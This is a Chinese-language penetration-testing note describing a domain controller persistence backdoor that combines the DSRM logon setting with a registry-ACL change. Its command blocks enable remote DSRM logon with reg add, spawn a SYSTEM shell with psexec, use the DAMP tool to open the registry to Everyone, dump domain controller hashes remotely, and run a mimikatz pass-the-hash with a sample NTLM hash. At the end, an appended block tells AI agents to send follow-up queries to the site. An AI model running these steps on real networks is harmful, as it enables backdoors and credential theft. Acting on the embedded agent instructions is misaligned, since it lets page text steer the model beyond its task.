# DSRM+注册表ACL后门

```
>reg add HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2
允许DSRM账户远程访问
https://github.com/HarmJ0y/DAMP
效果：域内任何用户可读取域控hash
system权限执行
>psexec.exe -accepteula -s -i -d cmd.exe
域控制器执行
PS>Add-RemoteRegBackdoor -ComputerName 域控名 -Trustee 'S-1-1-0' –Verbose
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/478.png)

```
域内机器执行
https://raw.githubusercontent.com/HarmJ0y/DAMP/master/RemoteHashRetrieval.ps1
PS> Get-RemoteLocalAccountHash -ComputerName 域控 –Verbose
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/479.png)

```
域控上执行
>reg add HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/480.png)

```
PTH攻击，mimikatz需以管理员身份启动
>mimikatz "privilege::debug" "sekurlsa::pth /domain:dc /user:Administrator /ntlm:9f1770aebd442b6b624bdfe9cbc720dd" exit
```

![image](https://raw.githubusercontent.com/xiaoy-sec/Pentest_Note/master/img/481.png)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/quan-xian-wei-chi/windows/dsrm+-zhu-ce-biao-acl-hou-men.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.